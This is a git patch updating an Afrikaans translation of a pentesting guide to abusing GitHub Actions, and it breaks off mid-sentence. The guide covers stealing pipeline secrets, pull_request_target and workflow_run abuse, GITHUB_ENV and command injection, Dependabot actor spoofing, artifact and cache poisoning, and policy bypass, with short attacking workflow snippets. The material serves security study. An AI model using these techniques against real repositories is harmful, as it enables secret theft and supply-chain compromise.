From 12b99a361bbaaf322cedf5ed1f6e52af9e1c9e23 Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 29 Sep 2025 23:28:16 +0000 Subject: [PATCH] Translated ['src/pentesting-ci-cd/github-security/abusing-github-actions --- .../abusing-github-actions/README.md | 236 +++++++++--------- .../az-federation-abuse.md | 227 +++++++++++++++++ 2 files changed, 347 insertions(+), 116 deletions(-) create mode 100644 src/pentesting-cloud/azure-security/az-basic-information/az-federation-abuse.md diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md index b0416bc86..ba5878958 100644 --- a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md +++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md @@ -4,55 +4,55 @@ ## Gereedskap -Die volgende gereedskap is nuttig om Github Action workflows te vind en selfs kwesbare eenhede op te spoor: +Die volgende gereedskap is nuttig om Github Action workflows te vind en selfs kwesbare eenes op te spoor: - [https://github.com/CycodeLabs/raven](https://github.com/CycodeLabs/raven) - [https://github.com/praetorian-inc/gato](https://github.com/praetorian-inc/gato) - [https://github.com/AdnaneKhan/Gato-X](https://github.com/AdnaneKhan/Gato-X) - [https://github.com/carlospolop/PurplePanda](https://github.com/carlospolop/PurplePanda) -- [https://github.com/zizmorcore/zizmor](https://github.com/zizmorcore/zizmor) - Check also its checklist in [https://docs.zizmor.sh/audits](https://docs.zizmor.sh/audits) +- [https://github.com/zizmorcore/zizmor](https://github.com/zizmorcore/zizmor) - Kyk ook na die checklist by [https://docs.zizmor.sh/audits](https://docs.zizmor.sh/audits) ## Basiese Inligting -Op hierdie blad sal jy vind: +Op hierdie bladsy sal jy vind: -- 'n **opsomming van al die gevolge** wat 'n aanvaller kan hê indien hy toegang tot 'n Github Action kry -- Verskillende maniere om **toegang tot 'n action** te kry: -- Om **permissions** te hê om die action te skep -- Misbruik van **pull request** verwante triggers -- Misbruik van **ander eksterne toegang** tegnieke -- **Pivoting** vanuit 'n reeds gekompromitteerde repo -- Laastens, 'n afdeling oor **post-exploitation techniques to abuse an action from inside** (om die genoemde gevolge te veroorsaak) +- 'n **opsomming van al die impakte** van 'n aanvaller wat daarin slaag om toegang tot 'n Github Action te kry +- Verskillende maniere om **toegang tot 'n action te kry**: + - Om die **regte** te hê om die action te skep + - Misbruik van **pull request**-verwante triggers + - Misbruik van ander **eksterne toegang** tegnieke + - **Pivoting** van 'n reeds gekompromitteerde repo +- Laastens, 'n afdeling oor **post-exploitation techniques om 'n action van binne te misbruik** (om die genoemde impakte te veroorsaak) -## Opsomming van Gevolge +## Opsomming van impakte -For an introduction about [**Github Actions check the basic information**](../basic-github-information.md#github-actions). +Vir 'n inleiding oor [**Github Actions: kyk na die basiese inligting**](../basic-github-information.md#github-actions). -Indien jy kan **execute arbitrary code in GitHub Actions** binne 'n **repository**, mag jy in staat wees om: +As jy daarin kan slaag om **arbitrêre kode in GitHub Actions uit te voer** binne 'n **repository**, mag jy die volgende kan doen: -- **Steal secrets** wat aan die pipeline gekoppel is en **abuse the pipeline's privileges** om ongemagtigde toegang tot eksterne platforms soos AWS en GCP te verkry. -- **Compromise deployments** en ander **artifacts**. -- As die pipeline assets ontplooi of stoor, kan jy die finale produk verander, wat 'n supply chain attack moontlik maak. -- **Execute code in custom workers** om rekenkrag te misbruik en na ander stelsels te pivot. -- **Overwrite repository code**, afhangende van die permissions geassosieer met die `GITHUB_TOKEN`. +- **Steel secrets** wat aan die pipeline gemonteer is en **misbruik die pipeline se voorregte** om ongemagtigde toegang tot eksterne platforms, soos AWS en GCP, te kry. +- **Benadeel deployments** en ander **artefakte**. +- As die pipeline assets deploy of stoor, kan jy die finale produk verander, wat 'n supply chain attack moontlik maak. +- **Voer kode uit in custom workers** om rekenkrag te misbruik en na ander stelsels te pivot. +- **Oorskryf repository-kode**, afhangende van die regte geassosieer met die `GITHUB_TOKEN`. ## GITHUB_TOKEN -Hierdie "**secret**" (afkomstig van `${{ secrets.GITHUB_TOKEN }}` en `${{ github.token }}`) word gegee wanneer die admin hierdie opsie aktiveer: +Hierdie "**secret**" (komende van `${{ secrets.GITHUB_TOKEN }}` en `${{ github.token }}`) word gegee wanneer die admin hierdie opsie aanskakel:
-Hierdie token is dieselfde een wat 'n **Github Application** sal gebruik, dus kan dit toegang hê tot dieselfde endpoints: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps) +Hierdie token is dieselfde een wat 'n **Github Application sal gebruik**, so dit kan toegang tot dieselfde endpoints kry: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps) > [!WARNING] -> Github behoort 'n [**flow**](https://github.com/github/roadmap/issues/74) vry te stel wat **allows cross-repository** toegang binne GitHub moontlik maak, sodat 'n repo ander interne repos kan bereik met die `GITHUB_TOKEN`. +> Github behoort 'n [**flow**](https://github.com/github/roadmap/issues/74) vry te stel wat **cross-repository** toegang binne GitHub toelaat, sodat 'n repo ander interne repos met die `GITHUB_TOKEN` kan toegang. Jy kan die moontlike **permissions** van hierdie token sien by: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token) -Neem kennis dat die token **expires after the job has completed**.\ -Sulke tokens lyk soos: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7` +Let daarop dat die token **verval nadat die job voltooi is**.\ +Hierdie tokens lyk soos: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7` -Sommige interessante dinge wat jy met hierdie token kan doen: +Party interessante dinge wat jy met hierdie token kan doen: {{#tabs }} {{#tab name="Merge PR" }} @@ -91,7 +91,7 @@ https://api.github.com/repos///pulls \ {{#endtabs }} > [!CAUTION] -> Let wel dat jy in verskeie gevalle **github user tokens inside Github Actions envs or in the secrets** kan vind. Hierdie tokens kan jou meer regte oor die repository en organisasie gee. +> Neem kennis dat jy in verskeie gevalle **github user tokens binne Github Actions envs of in die secrets** kan vind. Hierdie tokens kan jou meer voorregte oor die repository en organisasie gee.
@@ -144,29 +144,29 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ```
-Dit is moontlik om die permissies wat aan 'n Github Token in ander gebruikers repositories gegee is te kontroleer deur **die logs van die actions te kontroleer**: +Dit is moontlik om die permissies wat aan 'n Github Token in ander gebruikers se repositories gegee is, te kontroleer deur **die logs** van die actions na te gaan:
-## Toegestane uitvoering +## Toegestane Uitvoering > [!NOTE] -> Dit sou die maklikste manier wees om Github actions te kompromitteer, aangesien hierdie geval veronderstel dat jy toegang het om **create a new repo in the organization**, of dat jy **write privileges over a repository** het. +> Dit sou die maklikste manier wees om Github actions te kompromitteer, aangesien hierdie geval veronderstel dat jy toegang het om **'n nuwe repo in die organisasie te skep**, of **skryfregte oor 'n repository** te hê. > -> As jy in hierdie scenario is, kan jy net die [Post Exploitation techniques](#post-exploitation-techniques-from-inside-an-action) nagaan. +> As jy in hierdie scenario is, kan jy net die [Post Exploitation techniques](#post-exploitation-techniques-from-inside-an-action) raadpleeg. -### Uitvoering vanaf repo-skepping +### Uitvoering vanaf Repo-skepping -Indien lede van 'n organisasie die vermoë het om **create new repos** en jy Github Actions kan uitvoer, kan jy **create a new repo and steal the secrets set at organization level**. +As lede van 'n organisasie **nuwe repos kan skep** en jy kan github actions uitvoer, kan jy **'n nuwe repo skep en die secrets wat op organisasievlak gestel is steel**. ### Uitvoering vanaf 'n nuwe branch -Indien jy kan **create a new branch in a repository that already contains a Github Action** wat reeds gekonfigureer is, kan jy dit **modify**, die inhoud **upload**, en dan daardie action **execute that action from the new branch**. Op hierdie manier kan jy **exfiltrate repository and organization level secrets** (maar jy moet weet hoe hulle genoem word). +As jy **'n nuwe branch in 'n repository wat reeds 'n Github Action bevat** kan skep, kan jy dit **wysig**, die inhoud **oplaai**, en dan daardie action **uitvoer vanaf die nuwe branch**. Op hierdie manier kan jy **exfiltrate repository and organization level secrets** (maar jy moet weet hoe hulle genoem word). > [!WARNING] -> Enige beperking wat slegs binne die workflow YAML geïmplementeer is (byvoorbeeld, `on: push: branches: [main]`, job conditionals, of manual gates) kan deur medewerkers gewysig word. Sonder eksterne afdwinging (branch protections, protected environments, and protected tags), kan 'n bydraer 'n workflow herlei om op hul branch te loop en gemonteerde secrets/permissions misbruik. +> Enige beperking wat slegs binne die workflow YAML geïmplementeer is (byvoorbeeld, `on: push: branches: [main]`, job conditionals, of manual gates) kan deur medewerkers gewysig word. Sonder eksterne afdwinging (branch protections, protected environments, and protected tags), kan 'n bijdrager 'n workflow herrigting gee om op hul branch te loop en gemonteerde secrets/permissions misbruik. -Jy kan die gemodifiseerde action uitvoerbaar maak **manually,** wanneer 'n **PR is created** of wanneer **some code is pushed** (afhangend van hoe luidrugtig jy wil wees): +Jy kan die gewijzigde action uitvoerbaar maak **manueel,** wanneer 'n **PR is created** of wanneer **some code is pushed** (afhangend van hoe luidrugtig jy wil wees): ```yaml on: workflow_dispatch: # Launch manually @@ -183,46 +183,46 @@ branches: ## Gevorkte Uitvoering > [!NOTE] -> Daar is verskillende triggers wat 'n aanvaller kan toelaat om 'n Github Action van 'n ander repository uit te voer. As daardie triggerbare actions swak gekonfigureer is, kan 'n aanvaller dit kompromitteer. +> Daar is verskillende triggers wat 'n aanvaller kan toelaat om 'n **Github Action van 'n ander repository uit te voer**. As daardie triggerbare actions swak gekonfigureer is, kan 'n aanvaller dit compromise. ### `pull_request` -Die workflow-trigger **`pull_request`** sal die workflow elke keer uitvoer wanneer 'n pull request ontvang word, met 'n paar uitsonderings: standaard, as dit die **eerste keer** is dat jy **bydra**, sal 'n **maintainer** die **uitvoering** van die workflow moet **goedkeur**: +Die workflow-trigger **`pull_request`** sal die workflow elke keer uitvoer as 'n pull request ontvang word met sommige uitsonderings: standaard, as dit die **eerste keer** is dat jy **collaborating**, sal 'n **maintainer** die **run** van die workflow moet **approve**:
> [!NOTE] -> Aangesien die **standaardbeperking** vir **eerstetydse** bydraers is, kan jy 'n bydrae lewer deur 'n geldige fout/tipografiese fout te **regmaak** en dan **ander PRs stuur om jou nuwe `pull_request`-privilegies te misbruik**. +> Aangesien die **default limitation** vir **first-time** contributors geld, kan jy bydra deur 'n geldige bug/typo reg te stel en dan ander PRs stuur om jou nuwe `pull_request` privileges te abuse. > -> **Ek het dit getoets en dit werk nie**: ~~Nog 'n opsie sou wees om 'n rekening te skep met die naam van iemand wat by die projek bygedra het en sy rekening te verwyder.~~ +> **Ek het dit getoets en dit werk nie**: ~~Another option would be to create an account with the name of someone that contributed to the project and deleted his account.~~ -Boonop verhoed dit standaard **skryfpermissies** en **toegang tot secrets** tot die teiken repository soos in die [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories) vermeld: +Boonop verhoed dit standaard **write permissions** en **secrets access** tot die teiken repository soos in die [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories) genoem: -> Met die uitsondering van `GITHUB_TOKEN`, **word secrets nie aan die runner oorgedra nie** wanneer 'n workflow vanaf 'n **forked** repository getrig word. Die **`GITHUB_TOKEN` het net lees-regte** in pull requests **van forked repositories**. +> With the exception of `GITHUB_TOKEN`, **secrets are not passed to the runner** when a workflow is triggered from a **forked** repository. The **`GITHUB_TOKEN` has read-only permissions** in pull requests **from forked repositories**. -'n Aanvaller kan die definisie van die Github Action wysig om arbitrêre dinge uit te voer en arbitrêre actions by te voeg. Hy sal egter weens die genoemde beperkings nie in staat wees om secrets te steel of die repo oor te skryf nie. +'n Aanvaller kan die definisie van die Github Action wysig om arbitrêre dinge uit te voer en arbitrêre actions by te voeg. Hy sal egter nie in staat wees om secrets te steel of die repo oor te skryf nie weens die genoemde beperkings. > [!CAUTION] -> **Ja, as die aanvaller die github action in die PR verander wat getrig sal word, sal sy Github Action gebruik word en nie dié van die oorspronklike repo nie!** +> **Ja, as die aanvaller in die PR die github action verander wat ge-trigger sal word, sal sy Github Action die een wees wat gebruik word en nie die een van die oorspronklike repo nie!** -Aangesien die aanvaller ook die kode wat uitgevoer word beheer, kan hy byvoorbeeld selfs al is daar geen secrets of skryfpermissies op die `GITHUB_TOKEN` nie, **malafide artifacts oplaai**. +Aangesien die aanvaller ook die kode wat uitgevoer word beheer, selfs al is daar geen secrets of write permissions op die `GITHUB_TOKEN` nie, kan 'n aanvaller byvoorbeeld **upload malicious artifacts**. ### **`pull_request_target`** -Die workflow-trigger **`pull_request_target`** het **skryfpermissie** op die teiken repository en **toegang tot secrets** (en vra nie toestemming nie). +Die workflow-trigger **`pull_request_target`** het **write permission** tot die teiken repository en **access to secrets** (en vra nie toestemming nie). -Let daarop dat die workflow-trigger **`pull_request_target`** **in die base-konteks loop** en nie in daardie wat deur die PR gegee word nie (om **nie onbetroubare kode uit te voer** nie). Vir meer inligting oor `pull_request_target` [**check the docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\ -Boonop, vir meer inligting oor hierdie spesifieke gevaarlike gebruik kyk na hierdie [**github blog post**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/). +Neem kennis dat die workflow-trigger **`pull_request_target`** **in die base context loop** en nie in dié wat deur die PR verskaf word nie (om **nie onbetroubare kode uit te voer nie**). Vir meer inligting oor `pull_request_target` [**check the docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\ +Boonop, vir meer inligting oor hierdie spesifieke gevaarlike gebruik, kyk na hierdie [**github blog post**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/). -Dit mag lyk asof dit veilig is om **`pull_request_target`** te gebruik omdat die **uitgevoerde workflow** dié is wat in die **base** gedefinieer is en nie in die PR nie, maar daar is 'n **paar gevalle waar dit nie so is nie**. +Dit mag lyk asofs dit veilig is om **`pull_request_target`** te gebruik omdat die **uitgevoerde workflow** dié is wat in die **base** gedefinieer is en **nie in die PR nie**, maar daar is 'n **paar gevalle waar dit nie so is nie**. -En hierdie een sal **toegang tot secrets** hê. +En hierdie een sal **access to secrets** hê. ### `workflow_run` -Die [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) trigger maak dit moontlik om 'n workflow vanaf 'n ander een uit te voer wanneer dit `completed`, `requested` of `in_progress` is. +Die [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) trigger laat toe dat 'n workflow vanaf 'n ander een loop wanneer dit `completed`, `requested` of `in_progress` is. -In hierdie voorbeeld is 'n workflow gekonfigureer om uit te voer nadat die aparte "Run Tests" workflow voltooi het: +In hierdie voorbeeld is 'n workflow gekonfigureer om te loop nadat die aparte "Run Tests" workflow voltooi is: ```yaml on: workflow_run: @@ -230,26 +230,26 @@ workflows: [Run Tests] types: - completed ``` -Boonop, volgens die docs: Die workflow wat deur die `workflow_run` event begin is, kan **toegang tot secrets kry en write tokens skryf, selfs al het die vorige workflow dit nie gekry nie**. +Boonop, volgens die docs: Die workflow wat deur die `workflow_run` event begin is, kan **access secrets and write tokens, even if the previous workflow was not**. -Hierdie tipe workflow kan aangeval word as dit **afhanklik** is van 'n **workflow** wat deur 'n eksterne gebruiker via **`pull_request`** of **`pull_request_target`** **getrigger** kan word. 'n Paar kwesbare voorbeelde kan in [**dié blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability) gevind word. Die eerste behels die deur die **`workflow_run`** getriggerde workflow wat die aanvaller se kode aflaai: `${{ github.event.pull_request.head.sha }}`\ -Die tweede behels die deurgee van 'n **artifact** van die **untrusted** kode aan die **`workflow_run`** workflow en die gebruik van die inhoud van hierdie artifact op 'n wyse wat dit **vulnerable to RCE** maak. +Hierdie tipe workflow kan aangeval word as dit **afhanklik** is van 'n **workflow** wat deur 'n eksterne gebruiker via **`pull_request`** of **`pull_request_target`** **getrigger** kan word. 'n Paar kwesbare voorbeelde kan [**found this blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** Die eerste een bestaan uit die deur **`workflow_run`** getriggerde workflow wat die aanvallers se code aflaai: `${{ github.event.pull_request.head.sha }}`\ +Die tweede een bestaan uit **passing** 'n **artifact** van die **untrusted** code na die **`workflow_run`** workflow en die gebruik van die inhoud van hierdie artifact op 'n wyse wat dit **vulnerable to RCE** maak. ### `workflow_call` TODO -TODO: Kyk of wanneer dit vanaf `pull_request` uitgevoer word, die gebruikte/afgelaaide kode dié van die origin is of dié van die geforkte PR +TODO: Check if when executed from a pull_request the used/downloaded code if the one from the origin or from the forked PR -## Abusing Forked Execution +## Misbruik van geforkte uitvoering -Ons het al die maniere genoem waarop 'n eksterne aanvaller 'n GitHub workflow kan laat uitvoer; kom ons kyk nou hoe hierdie uitvoerings, as hulle sleg gekonfigureer is, misbruik kan word: +Ons het al die maniere genoem waarop 'n eksterne aanvaller 'n github workflow kan laat uitvoer, kom ons kyk nou hoe hierdie uitvoerings, as hulle swak gekonfigureer is, misbruik kan word: ### Untrusted checkout execution -In die geval van **`pull_request`**, gaan die workflow in die **context of the PR** uitgevoer word (dus sal dit die **malicious PRs code** uitvoer), maar iemand moet dit eers **authorize** en dit sal met 'n paar [limitations](#pull_request) hardloop. +In die geval van **`pull_request`,** sal die workflow in die **konteks van die PR** uitgevoer word (dus sal dit die **malicious PRs code** uitvoer), maar iemand moet dit eers **authorize it first** en dit sal met sekere [limitations](#pull_request) loop. -In die geval van 'n workflow wat **`pull_request_target` or `workflow_run`** gebruik en afhanklik is van 'n workflow wat vanaf **`pull_request_target` or `pull_request`** getrigger kan word, sal die kode van die oorspronklike repo uitgevoer word, so die **attacker cannot control the executed code**. +In die geval van 'n workflow wat **`pull_request_target` or `workflow_run`** gebruik en wat afhang van 'n workflow wat vanaf **`pull_request_target` or `pull_request`** getrigger kan word, sal die code van die oorspronklike repo uitgevoer word, so die **attacker cannot control the executed code**. > [!CAUTION] > However, if the **action** has an **explicit PR checkou**t that will **get the code from the PR** (and not from base), it will use the attackers controlled code. For example (check line 12 where the PR code is downloaded): @@ -282,14 +282,14 @@ message: | Thank you! -Die potensieel **onbetroubare kode word tydens `npm install` of `npm build` uitgevoer** aangesien die build-skrifte en verwysde **packages deur die outeur van die PR beheer word**. +Die potensieel **untrusted code is being run during `npm install` or `npm build`** aangesien die build scripts en verwysde **packages are controlled by the author of the PR**. > [!WARNING] > A github dork to search for vulnerable actions is: `event.pull_request pull_request_target extension:yml` however, there are different ways to configure the jobs to be executed securely even if the action is configured insecurely (like using conditionals about who is the actor generating the PR). ### Context Script Injections -Neem kennis dat daar sekere [**github contexts**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) is waarvan die waardes deur die **user** wat die PR skep **beheer** word. As die github action daardie **data gebruik om enige iets uit te voer**, kan dit lei tot **arbitrary code execution:** +Neem kennis dat daar sekere [**github contexts**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) is wie se waardes deur die **user** wat die PR skep **controlled** word. As die github action daardie **data to execute anything** gebruik, kan dit lei tot **arbitrary code execution:** {{#ref}} gh-actions-context-script-injections.md @@ -297,11 +297,11 @@ gh-actions-context-script-injections.md ### **GITHUB_ENV Script Injection** -Volgens die docs: Jy kan 'n **environment variable beskikbaar maak vir enige daaropvolgende stappe** in 'n workflow job deur die environment variable te definieer of by te werk en dit te skryf na die **`GITHUB_ENV`** environment file. +Volgens die docs: You can make an **environment variable available to any subsequent steps** in a workflow job by defining or updating the environment variable and writing this to the **`GITHUB_ENV`** environment file. -As 'n aanvaller enige waarde in hierdie **env** variable kan injekteer, kan hy env variables injekteer wat kode kan laat uitvoer in volgende stappe, soos **LD_PRELOAD** of **NODE_OPTIONS**. +As 'n aanvaller enige waarde kon **inject any value** binne hierdie **env** variable, kan hy env-variabeles inject wat kode in volgende stappe kan laat uitvoer soos **LD_PRELOAD** of **NODE_OPTIONS**. -Byvoorbeeld ([**this**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) and [**this**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), stel 'n workflow wat 'n opgelaaide artifact vertrou om sy inhoud in die **`GITHUB_ENV`** env variable te stoor. 'n Aanvaller kan iets soos dit oplaai om dit te kompromitteer: +Byvoorbeeld ([**this**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) and [**this**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), imagine 'n workflow wat 'n opgelaaide artifact vertrou om sy inhoud in die **`GITHUB_ENV`** env variable te stoor. 'n aanvaller kon iets soos hierdie oplaai om dit te kompromitteer:
@@ -317,16 +317,16 @@ if: ${ { github.actor == 'dependabot[bot]' }} steps: - run: gh pr merge $ -d -m ``` -Dit is 'n probleem omdat die `github.actor` veld die gebruiker bevat wat die jongste event wat die workflow getrigger het, veroorsaak het. En daar is verskeie maniere om die `dependabot[bot]` gebruiker 'n PR te laat wysig. Byvoorbeeld: +Dit is ’n probleem omdat die `github.actor`-veld die gebruiker bevat wat die jongste gebeurtenis veroorsaak het wat die workflow geaktiveer het. En daar is verskeie maniere om die `dependabot[bot]` gebruiker ’n PR te laat wysig. Byvoorbeeld: -- Fork die victim repository -- Add die malicious payload aan jou copy -- Enable Dependabot op jou fork deur 'n outdated dependency by te voeg. Dependabot sal 'n branch skep wat die dependency met malicious code regstel. -- Open 'n Pull Request na die victim repository vanaf daardie branch (die PR sal deur die user geskep word so niks sal nog gebeur nie) -- Dan gaan die attacker terug na die initial PR wat Dependabot in sy fork oopgemaak het en voer `@dependabot recreate` uit -- Dan voer Dependabot sekere aksies uit in daardie branch wat die PR oor die victim repo verander het, wat `dependabot[bot]` die actor maak van die jongste event wat die workflow getrigger het (en gevolglik loop die workflow). +- Fork die repository van die slagoffer +- Voeg die malicious payload by jou kopie +- Enable Dependabot op jou fork deur ’n outdated dependency by te voeg. Dependabot sal ’n branch skep wat die dependency regstel met malicious code. +- Open a Pull Request na die repository van die slagoffer vanaf daardie branch (die PR sal deur die gebruiker geskep word, so niks sal nog gebeur nie) +- Then, attacker gaan terug na die aanvanklike PR wat Dependabot in sy fork oopgemaak het en voer `@dependabot recreate` uit +- Then, Dependabot voer sekere aksies in daardie branch uit wat die PR oor die slagoffer-repo wysig, wat `dependabot[bot]` die actor maak van die jongste gebeurtenis wat die workflow geaktiveer het (en daarom hardloop die workflow). -Verder, wat as in plaas van merge die Github Action 'n command injection sou hê soos in: +Verder, wat as in plaas van merging die GitHub Action ’n command injection sou hê soos in: ```yaml on: pull_request_target jobs: @@ -336,22 +336,22 @@ if: ${ { github.actor == 'dependabot[bot]' }} steps: - run: echo ${ { github.event.pull_request.head.ref }} ``` -Wel, die oorspronklike blogpos stel twee opsies voor om hierdie gedrag te misbruik; die tweede is: +Die oorspronklike blogpos stel twee opsies voor om hierdie gedrag te misbruik; die tweede is: -- Fork die slagoffer repository en skakel Dependabot in met some outdated dependency. +- Fork die slagoffer repository en aktiveer Dependabot met 'n verouderde dependency. - Skep 'n nuwe branch met die kwaadwillige shell injection code. -- Verander die standaardbranch van die repo na daardie een +- Verander die standaard branch van die repo na daardie een. - Skep 'n PR vanaf hierdie branch na die slagoffer repository. -- Voer `@dependabot merge` uit in die PR wat Dependabot in his fork oopgemaak het. -- Dependabot sal sy veranderinge in die standaardbranch van jou geforkte repository saamvoeg, die PR in die slagoffer repository opdateer, en nou die `dependabot[bot]` die actor maak van die latest event wat die workflow getrigger het en 'n kwaadwillige branch name gebruik. +- Voer `@dependabot merge` uit in die PR wat Dependabot in sy fork oopgemaak het. +- Dependabot sal sy veranderings in die standaard-branch van jou geforkte repository mergen, die PR in die slagoffer-repository bywerk en sodoende maak dat `dependabot[bot]` die akteur word van die jongste gebeurtenis wat die workflow ge-trigger het, en 'n kwaadwillige branch-naam gebruik. -### Vulnerable Third Party Github Actions +### Kwetsbare Derdeparty GitHub Actions #### [dawidd6/action-download-artifact](https://github.com/dawidd6/action-download-artifact) -Soos genoem in [**this blog post**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), laat hierdie Github Action toe om toegang te verkry tot artifacts van verskillende workflows en selfs repositories. +As mentioned in [**this blog post**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), this Github Action allows to access artifacts from different workflows and even repositories. -Die probleem is dat as die **`path`** parameter nie gestel is nie, die artifact in die huidige gids uitgepak word en dit lêers kan oor-skryf wat later gebruik of selfs in die workflow uitgevoer kan word. Daarom, as die Artifact kwesbaar is, kan 'n aanvaller dit misbruik om ander workflows wat die Artifact vertrou, te kompromiteer. +Die probleem is dat as die **`path`** parameter nie gestel is nie, die artifact in die huidige gids uitgepak word en dit lêers kan oor skryf wat later gebruik of selfs in die workflow uitgevoer kan word. Dus, as die Artifact kwesbaar is, kan 'n aanvaller dit misbruik om ander workflows wat die Artifact vertrou, te kompromitteer. Example of vulnerable workflow: ```yaml @@ -376,7 +376,7 @@ with: name: artifact path: ./script.py ``` -Dit kan aangeval word met hierdie workflow: +Hierdie kan aangeval word met hierdie workflow: ```yaml name: "some workflow" on: pull_request @@ -395,25 +395,25 @@ path: ./script.py ## Ander Eksterne Toegang -### Verwyderde Namespace Repo Kaping +### Verwyderde Namespace Repo-oorname -If an account changes it's name another user could register an account with that name after some time. If a repository had **less than 100 stars previously to the change of nam**e, Github will allow the new register user with the same name to create a **repository with the same name** as the one deleted. +As 'n account sy naam verander, kan 'n ander gebruiker daardie naam ná 'n rukkie registreer. As 'n repository **voor die naamsverandering minder as 100 stars** gehad het, sal Github die nuwe geregistreerde gebruiker met dieselfde naam toelaat om 'n **repository met dieselfde naam** as die verwyderde een te skep. > [!CAUTION] -> Dus, as 'n action 'n repo van 'n nie‑bestaanbare account gebruik, is dit steeds moontlik dat 'n attacker daardie account kan skep en die action kan kompromitteer. +> Dus, as 'n action 'n repo van 'n nie‑bestaan­de account gebruik, is dit steeds moontlik dat 'n attacker daardie account kan skep en die action kan kompromitteer. -If other repositories where using **dependencies from this user repos**, an attacker will be able to hijack them Here you have a more complete explanation: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/) +As ander repositories **dependencies from this user repos** gebruik het, sal 'n attacker dit kan kap. Hier is 'n meer volledige verduideliking: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/) --- ## Repo Pivoting > [!NOTE] -> In hierdie afdeling sal ons praat oor tegnieke wat toelaat om **pivot from one repo to another** mits ons 'n soort toegang tot die eerste het (kyk die vorige afdeling). +> In hierdie afdeling sal ons praat oor tegnieke wat toelaat om **van een repo na 'n ander te pivot** op voorwaarde dat ons enige vorm van toegang op die eerste het (sien die vorige afdeling). ### Cache Poisoning -Daar word 'n cache onderhou tussen **wokflow runs in the same branch**. Dit beteken dat as 'n attacker 'n **package** kompromitteer wat dan in die cache gestoor word en deur 'n **more privileged** workflow **downloaded** en uitgevoer word, hy daardie workflow ook sal kan **compromise**. +Daar word 'n cache onderhou tussen **workflow runs in the same branch**. Dit beteken dat as 'n attacker 'n **package** kompromitteer wat dan in die cache gestoor word en deur 'n **meer bevoorregte** workflow **downloaded** en uitgevoer word, hy daardie workflow ook kan kompromitteer. {{#ref}} gh-actions-cache-poisoning.md @@ -421,7 +421,7 @@ gh-actions-cache-poisoning.md ### Artifact Poisoning -Workflows kan **artifacts from other workflows and even repos** gebruik. As 'n attacker daarin slaag om die Github Action wat **uploads an artifact** te **compromise**, en daardie artifact later deur 'n ander workflow gebruik word, kan hy **compromise the other workflows**: +Workflows kan **artifacts from other workflows and even repos** gebruik; as 'n attacker daarin slaag om die Github Action wat 'n **artifact upload** te kompromitteer — wat later deur 'n ander workflow gebruik word — kan hy die ander workflows ook **kompromitteer**: {{#ref}} gh-actions-artifact-poisoning.md @@ -433,7 +433,7 @@ gh-actions-artifact-poisoning.md ### Github Action Policies Bypass -Soos in [**this blog post**](https://blog.yossarian.net/2025/06/11/github-actions-policies-dumb-bypass) bespreek, selfs al het 'n repository of organization 'n policy wat die gebruik van sekere actions beperk, kan 'n attacker net die action binne die workflow download (`git clone`) en dit as 'n local action verwys. Aangesien die policies nie op local paths van toepassing is nie, sal die action sonder enige beperking uitgevoer word. +Soos in [**this blog post**](https://blog.yossarian.net/2025/06/11/github-actions-policies-dumb-bypass) bespreek, selfs al het 'n repository of organisasie 'n beleid wat die gebruik van sekere actions beperk, kan 'n attacker eenvoudig die action binne die workflow download (`git clone`) en dit as 'n local action verwys. Aangesien die beleidsreëls nie lokale paths raak nie, **sal die action sonder enige beperking uitgevoer word.** Example: ```yaml @@ -456,7 +456,7 @@ path: gha-hazmat - run: ls tmp/checkout ``` -### Toegang tot AWS en GCP via OIDC +### Toegang tot AWS, Azure en GCP via OIDC Kyk na die volgende bladsye: @@ -464,19 +464,23 @@ Kyk na die volgende bladsye: ../../../pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md {{#endref}} +{{#ref}} +../../../pentesting-cloud/azure-security/az-basic-information/az-federation-abuse.md +{{#endref}} + {{#ref}} ../../../pentesting-cloud/gcp-security/gcp-basic-information/gcp-federation-abuse.md {{#endref}} -### Toegang tot geheime +### Toegang tot secrets -As jy inhoud in 'n script inspuit, is dit nuttig om te weet hoe jy toegang tot geheime kan kry: +As jy inhoud in 'n script injekteer, is dit 